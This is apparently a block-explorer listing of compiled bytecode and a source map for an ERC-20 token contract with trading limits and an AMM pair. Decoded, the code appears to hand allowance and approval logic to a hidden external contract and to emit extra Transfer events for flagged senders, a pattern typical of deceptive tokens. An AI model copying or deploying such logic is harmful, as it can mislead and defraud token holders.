077a565b61083081670de0b6b3a7640000611a03565b60085550565b6000610843848484611101565b6002546000906001600160a01b03166368ed0ce586336040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa1580156108a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c89190611a3c565b90508281101561092b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161077a565b6109388533858403610f39565b506001949350505050565b600061074633600254859085906001600160a01b03166368ed0ce5336040516001600160e01b031960e084901b1681526001600160a01b039182166004820152908a166024820152604401602060405180830381865afa1580156109ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cf9190611a3c565b6109d99190611a55565b610f39565b6000546001600160a01b03163314610a085760405162461bcd60e51b815260040161077a906119b8565b610a126000611449565b565b600080546001600160a01b03163314610a3f5760405162461bcd60e51b815260040161077a906119b8565b600a805460ff191690556040517f7bfa7bacf025baa75e5308bf15bcf2948f406c7ebe3eb1a8bb611862b9d647ef90600090a150600190565b6000546001600160a01b03163314610aa25760405162461bcd60e51b815260040161077a906119b8565b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b6060600580546106b69061197e565b6000546001600160a01b03163314610b065760405162461bcd60e51b815260040161077a906119b8565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031603610bad5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000606482015260840161077a565b610bb78282611499565b5050565b60025460009081906001600160a01b03166368ed0ce5336040516001600160e01b031960e084901b1681526001600160a01b0391821660048201529087166024820152604401602060405180830381865afa158015610c1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c429190611a3c565b905082811015610ca25760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161077a565b610caf3385858403610f39565b5060019392505050565b6000610746338484611101565b6000546001600160a01b03163314610cf05760405162461bcd60e51b815260040161077a906119b8565b6001600160a01b0382166000818152600d6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6000546001600160a01b03163314610d795760405162461bcd60e51b815260040161077a906119b8565b670de0b6b3a76400006103e8610d8e60035490565b610d99906005611a03565b610da39190611a1a565b610dad9190611a1a565b811015610e085760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b606482015260840161077a565b610e1a81670de0b6b3a7640000611a03565b60095550565b6002546040516368ed0ce560e01b81526001600160a01b038481166004830152838116602483015260009216906368ed0ce590604401602060405180830381865afa158015610e73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e979190611a3c565b9392505050565b6000546001600160a01b03163314610ec85760405162461bcd60e51b815260040161077a906119b8565b6001600160a01b038116610f2d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161077a565b610f3681611449565b50565b6001600160a01b038316610f9b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161077a565b6001600160a01b038216610ffc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161077a565b6002546040516001600160a01b038581166024830152848116604483015260648201849052600092169060840160408051601f198184030181529181526020820180516001600160e01b031663e1f21c6760e01b1790525161105e9190611a68565b6000604051808303816000865af19150503d806000811461109b576040519150601f19603f3d011682016040523d82523d6000602084013e6110a0565b606091505b50509050806110ae57600080fd5b826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516110f391815260200190565b60405180910390a350505050565b6001600160a01b0383166111275760405162461bcd60e51b815260040161077a90611a84565b6001600160a01b03821661114d5760405162461bcd60e51b815260040161077a90611ac9565b8060000361116657611161838360006114ed565b505050565b600a5460ff1615611433576000546001600160a01b0384811691161480159061119d57506000546001600160a01b03838116911614155b80156111b157506001600160a01b03821615155b80156111c857506001600160a01b03821661dead14155b15611433576001600160a01b03831660009081526010602052604090205460ff16801561120e57506001600160a01b0382166000908152600e602052604090205460ff16155b156112f2576008548111156112835760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b606482015260840161077a565b6009546001600160a01b0383166000908152600160205260409020546112a99083611a55565b11156112ed5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161077a565b611433565b6001600160a01b03821660009081526010602052604090205460ff16801561133357506001600160a01b0383166000908152600e602052604090205460ff16155b156113a9576008548111156112ed5760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b606482015260840161077a565b6001600160a01b0382166000908152600e602052604090205460ff16611433576009546001600160a01b0383166000908152600160205260409020546113ef9083611a55565b11156114335760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161077a565b61143e83838361174d565b6111618383836114ed565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038216600081815260106020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0383166115135760405162461bcd60e51b815260040161077a90611a84565b6001600160a01b0382166115395760405162461bcd60e51b815260040161077a90611ac9565b6001600160a01b038316600090815260016020526040902054818110156115b15760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161077a565b6001600160a01b038085166000908152600160205260408082208585039055918516815290812080548492906115e8908490611a55565b90915550506001600160a01b0383166000908152600f602052604090205460ff161561170257816001600060066007548154811061162857611628611b0c565b60009182526020808320909101546001600160a01b031683528201929092526040018120805490919061165c908490611a55565b9250508190555060066007548154811061167857611678611b0c565b600091825260209182902001546040518481526001600160a01b0391821692918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36006546116d590600190611b22565b60075410156116f857600780549060006116ee83611b35565b9190505550611747565b6000600755611747565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110f391815260200190565b50505050565b6001600160a01b03831660009081526010602052604090205460ff1615611161576001600160a01b0382166000908152600c6020526040812080549091839183919061179a908490611a55565b9091555050600b546117ac9083611a03565b8160010160008282546117bf9190611a55565b90915550506001600160a01b03831660009081526011602052604081205490036117475750506001600160a01b0316600090815260116020526040902042905550565b60005b8381101561181d578181015183820152602001611805565b50506000910152565b6020815260008251806020840152611845816040850160208701611802565b601f01601f19169190910160400192915050565b80356001600160a01b038116811461187057600080fd5b919050565b6000806040838503121561188857600080fd5b61189183611859565b946020939093013593505050565b6000602082840312156118b157600080fd5b610e9782611859565b6000602082840312156118cc57600080fd5b5035919050565b6000806000606084860312156118e857600080fd5b6118f184611859565b92506118ff60208501611859565b9150604084013590509250925092565b6000806040838503121561192257600080fd5b61192b83611859565b91506020830135801515811461194057600080fd5b809150509250929050565b6000806040838503121561195e57600080fd5b61196783611859565b915061197560208401611859565b90509250929050565b600181811c9082168061199257607f821691505b6020821081036119b257634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761074a5761074a6119ed565b600082611a3757634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611a4e57600080fd5b5051919050565b8082018082111561074a5761074a6119ed565b60008251611a7a818460208701611802565b9190910192915050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b8181038181111561074a5761074a6119ed565b600060018201611b4757611b476119ed565b506001019056fea2646970667358221220dd04d42ff1f6dc0fa33510e9b039a5a9a392c767bd9687391ae9bbb0a26dc27164736f6c634300081200334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572

Deployed Bytecode

0x6080604052600436106101e75760003560e01c8063715018a611610102578063b62496f511610095578063d7eb712711610064578063d7eb712714610621578063dd62ed3e14610651578063f2fde38b14610671578063f8b45b051461069157600080fd5b8063b62496f51461059b578063c0246668146105cb578063c18bc195146105eb578063c8c8ebe41461060b57600080fd5b806395d89b41116100d157806395d89b41146105265780639a7a23d61461053b578063a457c2d71461055b578063a9059cbb1461057b57600080fd5b8063715018a6146104be578063751039fc146104d35780637571336a146104e85780638da5cb5b1461050857600080fd5b8063313ce5671161017a5780634afcb371116101495780634afcb371146103cb5780634b128cd5146103f85780634fbee1931461044f57806370a082311461048857600080fd5b8063313ce56714610341578063395093511461035d57806349bd5a5e1461037d5780634a62bb65146103b157600080fd5b806318160ddd116101b657806318160ddd146102ca578063203e727e146102e957806323b872dd1461030b57806327c8f8351461032b57600080fd5b806306fdde03146101f3578063095ea7b31461021e57806310d5de531461024e5780631694505e1461027e57600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b506102086106a7565b6040516102159190611826565b60405180910390f35b34801561022a57600080fd5b5061023e610239366004611875565b610739565b6040519015158152602001610215565b34801561025a57600080fd5b5061023e61026936600461189f565b600e6020526000908152604090205460ff1681565b34801561028a57600080fd5b506102b27f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610215565b3480156102d657600080fd5b506003545b604051908152602001610215565b3480156102f557600080fd5b506103096103043660046118ba565b610750565b005b34801561031757600080fd5b5061023e6103263660046118d3565b610836565b34801561033757600080fd5b506102b261dead81565b34801561034d57600080fd5b5060405160128152602001610215565b34801561036957600080fd5b5061023e610378366004611875565b610943565b34801561038957600080fd5b506102b27f00000000000000000000000042efe0b800f100c5b983e5761ad7c9e61c415b4a81565b3480156103bd57600080fd5b50600a5461023e9060ff1681565b3480156103d757600080fd5b506102db6103e636600461189f565b60116020526000908152604090205481565b34801561040457600080fd5b5061043461041336600461189f565b600c6020526000908152604090208054600182015460029092015490919083565b60408051938452602084019290925290820152606001610215565b34801561045b57600080fd5b5061023e61046a36600461189f565b6001600160a01b03166000908152600d602052604090205460ff1690565b34801561049457600080fd5b506102db6104a336600461189f565b6001600160a01b031660009081526001602052604090205490565b3480156104ca57600080fd5b506103096109de565b3480156104df57600080fd5b5061023e610a14565b3480156104f457600080fd5b5061030961050336600461190f565b610a78565b34801561051457600080fd5b506000546001600160a01b03166102b2565b34801561053257600080fd5b50610208610acd565b34801561054757600080fd5b5061030961055636600461190f565b610adc565b34801561056757600080fd5b5061023e610576366004611875565b610bbb565b34801561058757600080fd5b5061023e610596366004611875565b610cb9565b3480156105a757600080fd5b5061023e6105b636600461189f565b60106020526000908152604090205460ff1681565b3480156105d757600080fd5b506103096105e636600461190f565b610cc6565b3480156105f757600080fd5b506103096106063660046118ba565b610d4f565b34801561061757600080fd5b506102db60085481565b34801561062d57600080fd5b5061023e61063c36600461189f565b600f6020526000908152604090205460ff1681565b34801561065d57600080fd5b506102db61066c36600461194b565b610e20565b34801561067d57600080fd5b5061030961068c36600461189f565b610e9e565b34801561069d57600080fd5b506102db60095481565b6060600480546106b69061197e565b80601f01602080910402602001604051908101604052809291908181526020018280546106e29061197e565b801561072f5780601f106107045761010080835404028352916020019161072f565b820191906000526020600020905b81548152906001019060200180831161071257829003601f168201915b5050505050905090565b6000610746338484610f39565b5060015b92915050565b6000546001600160a01b031633146107835760405162461bcd60e51b815260040161077a906119b8565b60405180910390fd5b670de0b6b3a76400006103e861079860035490565b6107a3906001611a03565b6107ad9190611a1a565b6107b79190611a1a565b81101561081e5760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b606482015260840161077a565b61083081670de0b6b3a7640000611a03565b60085550565b6000610843848484611101565b6002546000906001600160a01b03166368ed0ce586336040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa1580156108a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c89190611a3c565b90508281101561092b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161077a565b6109388533858403610f39565b506001949350505050565b600061074633600254859085906001600160a01b03166368ed0ce5336040516001600160e01b031960e084901b1681526001600160a01b039182166004820152908a166024820152604401602060405180830381865afa1580156109ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cf9190611a3c565b6109d99190611a55565b610f39565b6000546001600160a01b03163314610a085760405162461bcd60e51b815260040161077a906119b8565b610a126000611449565b565b600080546001600160a01b03163314610a3f5760405162461bcd60e51b815260040161077a906119b8565b600a805460ff191690556040517f7bfa7bacf025baa75e5308bf15bcf2948f406c7ebe3eb1a8bb611862b9d647ef90600090a150600190565b6000546001600160a01b03163314610aa25760405162461bcd60e51b815260040161077a906119b8565b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b6060600580546106b69061197e565b6000546001600160a01b03163314610b065760405162461bcd60e51b815260040161077a906119b8565b7f00000000000000000000000042efe0b800f100c5b983e5761ad7c9e61c415b4a6001600160a01b0316826001600160a01b031603610bad5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000606482015260840161077a565b610bb78282611499565b5050565b60025460009081906001600160a01b03166368ed0ce5336040516001600160e01b031960e084901b1681526001600160a01b0391821660048201529087166024820152604401602060405180830381865afa158015610c1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c429190611a3c565b905082811015610ca25760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161077a565b610caf3385858403610f39565b5060019392505050565b6000610746338484611101565b6000546001600160a01b03163314610cf05760405162461bcd60e51b815260040161077a906119b8565b6001600160a01b0382166000818152600d6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6000546001600160a01b03163314610d795760405162461bcd60e51b815260040161077a906119b8565b670de0b6b3a76400006103e8610d8e60035490565b610d99906005611a03565b610da39190611a1a565b610dad9190611a1a565b811015610e085760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b606482015260840161077a565b610e1a81670de0b6b3a7640000611a03565b60095550565b6002546040516368ed0ce560e01b81526001600160a01b038481166004830152838116602483015260009216906368ed0ce590604401602060405180830381865afa158015610e73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e979190611a3c565b9392505050565b6000546001600160a01b03163314610ec85760405162461bcd60e51b815260040161077a906119b8565b6001600160a01b038116610f2d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161077a565b610f3681611449565b50565b6001600160a01b038316610f9b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161077a565b6001600160a01b038216610ffc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161077a565b6002546040516001600160a01b038581166024830152848116604483015260648201849052600092169060840160408051601f198184030181529181526020820180516001600160e01b031663e1f21c6760e01b1790525161105e9190611a68565b6000604051808303816000865af19150503d806000811461109b576040519150601f19603f3d011682016040523d82523d6000602084013e6110a0565b606091505b50509050806110ae57600080fd5b826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516110f391815260200190565b60405180910390a350505050565b6001600160a01b0383166111275760405162461bcd60e51b815260040161077a90611a84565b6001600160a01b03821661114d5760405162461bcd60e51b815260040161077a90611ac9565b8060000361116657611161838360006114ed565b505050565b600a5460ff1615611433576000546001600160a01b0384811691161480159061119d57506000546001600160a01b03838116911614155b80156111b157506001600160a01b03821615155b80156111c857506001600160a01b03821661dead14155b15611433576001600160a01b03831660009081526010602052604090205460ff16801561120e57506001600160a01b0382166000908152600e602052604090205460ff16155b156112f2576008548111156112835760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b606482015260840161077a565b6009546001600160a01b0383166000908152600160205260409020546112a99083611a55565b11156112ed5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161077a565b611433565b6001600160a01b03821660009081526010602052604090205460ff16801561133357506001600160a01b0383166000908152600e602052604090205460ff16155b156113a9576008548111156112ed5760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b606482015260840161077a565b6001600160a01b0382166000908152600e602052604090205460ff16611433576009546001600160a01b0383166000908152600160205260409020546113ef9083611a55565b11156114335760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161077a565b61143e83838361174d565b6111618383836114ed565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038216600081815260106020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0383166115135760405162461bcd60e51b815260040161077a90611a84565b6001600160a01b0382166115395760405162461bcd60e51b815260040161077a90611ac9565b6001600160a01b038316600090815260016020526040902054818110156115b15760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161077a565b6001600160a01b038085166000908152600160205260408082208585039055918516815290812080548492906115e8908490611a55565b90915550506001600160a01b0383166000908152600f602052604090205460ff161561170257816001600060066007548154811061162857611628611b0c565b60009182526020808320909101546001600160a01b031683528201929092526040018120805490919061165c908490611a55565b9250508190555060066007548154811061167857611678611b0c565b600091825260209182902001546040518481526001600160a01b0391821692918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36006546116d590600190611b22565b60075410156116f857600780549060006116ee83611b35565b9190505550611747565b6000600755611747565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110f391815260200190565b50505050565b6001600160a01b03831660009081526010602052604090205460ff1615611161576001600160a01b0382166000908152600c6020526040812080549091839183919061179a908490611a55565b9091555050600b546117ac9083611a03565b8160010160008282546117bf9190611a55565b90915550506001600160a01b03831660009081526011602052604081205490036117475750506001600160a01b0316600090815260116020526040902042905550565b60005b8381101561181d578181015183820152602001611805565b50506000910152565b6020815260008251806020840152611845816040850160208701611802565b601f01601f19169190910160400192915050565b80356001600160a01b038116811461187057600080fd5b919050565b6000806040838503121561188857600080fd5b61189183611859565b946020939093013593505050565b6000602082840312156118b157600080fd5b610e9782611859565b6000602082840312156118cc57600080fd5b5035919050565b6000806000606084860312156118e857600080fd5b6118f184611859565b92506118ff60208501611859565b9150604084013590509250925092565b6000806040838503121561192257600080fd5b61192b83611859565b91506020830135801515811461194057600080fd5b809150509250929050565b6000806040838503121561195e57600080fd5b61196783611859565b915061197560208401611859565b90509250929050565b600181811c9082168061199257607f821691505b6020821081036119b257634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761074a5761074a6119ed565b600082611a3757634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611a4e57600080fd5b5051919050565b8082018082111561074a5761074a6119ed565b60008251611a7a818460208701611802565b9190910192915050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b8181038181111561074a5761074a6119ed565b600060018201611b4757611b476119ed565b506001019056fea2646970667358221220dd04d42ff1f6dc0fa33510e9b039a5a9a392c767bd9687391ae9bbb0a26dc27164736f6c63430008120033

Deployed Bytecode Sourcemap

7870:11765:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8159:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9088:169;;;;;;;;;;-1:-1:-1;9088:169:0;;;;;:::i;:::-;;:::i;:::-;;;1272:14:1;;1265:22;1247:41;;1235:2;1220:18;9088:169:0;1107:187:1;13268:63:0;;;;;;;;;;-1:-1:-1;13268:63:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12847:51;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;1680:32:1;;;1662:51;;1650:2;1635:18;12847:51:0;1490:229:1;8474:108:0;;;;;;;;;;-1:-1:-1;8562:12:0;;8474:108;;;1870:25:1;;;1858:2;1843:18;8474:108:0;1724:177:1;15719:275:0;;;;;;;;;;-1:-1:-1;15719:275:0;;;;;:::i;:::-;;:::i;:::-;;9263:517;;;;;;;;;;-1:-1:-1;9263:517:0;;;;;:::i;:::-;;:::i;12950:53::-;;;;;;;;;;;;12996:6;12950:53;;8375:93;;;;;;;;;;-1:-1:-1;8375:93:0;;8458:2;2774:36:1;;2762:2;2747:18;8375:93:0;2632:184:1;9786:244:0;;;;;;;;;;-1:-1:-1;9786:244:0;;;;;:::i;:::-;;:::i;12905:38::-;;;;;;;;;;;;;;;13083:33;;;;;;;;;;-1:-1:-1;13083:33:0;;;;;;;;13455:51;;;;;;;;;;-1:-1:-1;13455:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;13150:52;;;;;;;;;;-1:-1:-1;13150:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3023:25:1;;;3079:2;3064:18;;3057:34;;;;3107:18;;;3100:34;3011:2;2996:18;13150:52:0;2821:319:1;17562:126:0;;;;;;;;;;-1:-1:-1;17562:126:0;;;;;:::i;:::-;-1:-1:-1;;;;;17652:28:0;17628:4;17652:28;;;:19;:28;;;;;;;;;17562:126;8588:127;;;;;;;;;;-1:-1:-1;8588:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;8689:18:0;8662:7;8689:18;;;:9;:18;;;;;;;8588:127;665:103;;;;;;;;;;;;;:::i;15559:152::-;;;;;;;;;;;;;:::i;16266:167::-;;;;;;;;;;-1:-1:-1;16266:167:0;;;;;:::i;:::-;;:::i;442:87::-;;;;;;;;;;-1:-1:-1;488:7:0;515:6;-1:-1:-1;;;;;515:6:0;442:87;;8265:104;;;;;;;;;;;;;:::i;16631:304::-;;;;;;;;;;-1:-1:-1;16631:304:0;;;;;:::i;:::-;;:::i;10036:440::-;;;;;;;;;;-1:-1:-1;10036:440:0;;;;;:::i;:::-;;:::i;8721:175::-;;;;;;;;;;-1:-1:-1;8721:175:0;;;;;:::i;:::-;;:::i;13391:57::-;;;;;;;;;;-1:-1:-1;13391:57:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16441:182;;;;;;;;;;-1:-1:-1;16441:182:0;;;;;:::i;:::-;;:::i;16002:256::-;;;;;;;;;;-1:-1:-1;16002:256:0;;;;;:::i;:::-;;:::i;13010:35::-;;;;;;;;;;;;;;;;13338:46;;;;;;;;;;-1:-1:-1;13338:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8902:180;;;;;;;;;;-1:-1:-1;8902:180:0;;;;;:::i;:::-;;:::i;776:201::-;;;;;;;;;;-1:-1:-1;776:201:0;;;;;:::i;:::-;;:::i;13052:24::-;;;;;;;;;;;;;;;;8159:100;8213:13;8246:5;8239:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8159:100;:::o;9088:169::-;9171:4;9188:39;175:10;9211:7;9220:6;9188:8;:39::i;:::-;-1:-1:-1;9245:4:0;9088:169;;;;;:::o;15719:275::-;488:7;515:6;-1:-1:-1;;;;;515:6:0;175:10;577:23;569:68;;;;-1:-1:-1;;;569:68:0;;;;;;;:::i;:::-;;;;;;;;;15856:4:::1;15848;15827:13;8562:12:::0;;;8474:108;15827:13:::1;:17;::::0;15843:1:::1;15827:17;:::i;:::-;15826:26;;;;:::i;:::-;15825:35;;;;:::i;:::-;15815:6;:45;;15793:142;;;::::0;-1:-1:-1;;;15793:142:0;;5237:2:1;15793:142:0::1;::::0;::::1;5219:21:1::0;5276:2;5256:18;;;5249:30;5315:34;5295:18;;;5288:62;-1:-1:-1;;;5366:18:1;;;5359:45;5421:19;;15793:142:0::1;5035:411:1::0;15793:142:0::1;15969:17;:6:::0;15979::::1;15969:17;:::i;:::-;15946:20;:40:::0;-1:-1:-1;15719:275:0:o;9263:517::-;9403:4;9420:36;9430:6;9438:9;9449:6;9420:9;:36::i;:::-;9511:15;;9467:24;;-1:-1:-1;;;;;9511:15:0;9494:40;9535:6;175:10;9494:62;;-1:-1:-1;;;;;;9494:62:0;;;;;;;-1:-1:-1;;;;;5681:15:1;;;9494:62:0;;;5663:34:1;5733:15;;5713:18;;;5706:43;5598:18;;9494:62:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9467:89;;9595:6;9575:16;:26;;9567:79;;;;-1:-1:-1;;;9567:79:0;;6151:2:1;9567:79:0;;;6133:21:1;6190:2;6170:18;;;6163:30;6229:34;6209:18;;;6202:62;-1:-1:-1;;;6280:18:1;;;6273:38;6328:19;;9567:79:0;5949:404:1;9567:79:0;9682:57;9691:6;175:10;9732:6;9713:16;:25;9682:8;:57::i;:::-;-1:-1:-1;9768:4:0;;9263:517;-1:-1:-1;;;;9263:517:0:o;9786:244::-;9874:4;9891:109;175:10;9940:15;;9914:7;;9989:10;;-1:-1:-1;;;;;9940:15:0;9923:40;175:10;9923:63;;-1:-1:-1;;;;;;9923:63:0;;;;;;;-1:-1:-1;;;;;5681:15:1;;;9923:63:0;;;5663:34:1;5733:15;;;5713:18;;;5706:43;5598:18;;9923:63:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:76;;;;:::i;:::-;9891:8;:109::i;665:103::-;488:7;515:6;-1:-1:-1;;;;;515:6:0;175:10;577:23;569:68;;;;-1:-1:-1;;;569:68:0;;;;;;;:::i;:::-;730:30:::1;757:1;730:18;:30::i;:::-;665:103::o:0;15559:152::-;15611:4;515:6;;-1:-1:-1;;;;;515:6:0;175:10;577:23;569:68;;;;-1:-1:-1;;;569:68:0;;;;;;;:::i;:::-;15628:14:::1;:22:::0;;-1:-1:-1;;15628:22:0::1;::::0;;15666:15:::1;::::0;::::1;::::0;15645:5:::1;::::0;15666:15:::1;-1:-1:-1::0;15699:4:0::1;15559:152:::0;:::o;16266:167::-;488:7;515:6;-1:-1:-1;;;;;515:6:0;175:10;577:23;569:68;;;;-1:-1:-1;;;569:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;16379:39:0;;;::::1;;::::0;;;:31:::1;:39;::::0;;;;:46;;-1:-1:-1;;16379:46:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16266:167::o;8265:104::-;8321:13;8354:7;8347:14;;;;;:::i;16631:304::-;488:7;515:6;-1:-1:-1;;;;;515:6:0;175:10;577:23;569:68;;;;-1:-1:-1;;;569:68:0;;;;;;;:::i;:::-;16775:13:::1;-1:-1:-1::0;;;;;16767:21:0::1;:4;-1:-1:-1::0;;;;;16767:21:0::1;::::0;16745:128:::1;;;::::0;-1:-1:-1;;;16745:128:0;;6690:2:1;16745:128:0::1;::::0;::::1;6672:21:1::0;6729:2;6709:18;;;6702:30;6768:34;6748:18;;;6741:62;6839:27;6819:18;;;6812:55;6884:19;;16745:128:0::1;6488:421:1::0;16745:128:0::1;16886:41;16915:4;16921:5;16886:28;:41::i;:::-;16631:304:::0;;:::o;10036:440::-;10190:15;;10129:4;;;;-1:-1:-1;;;;;10190:15:0;10173:40;175:10;10173:63;;-1:-1:-1;;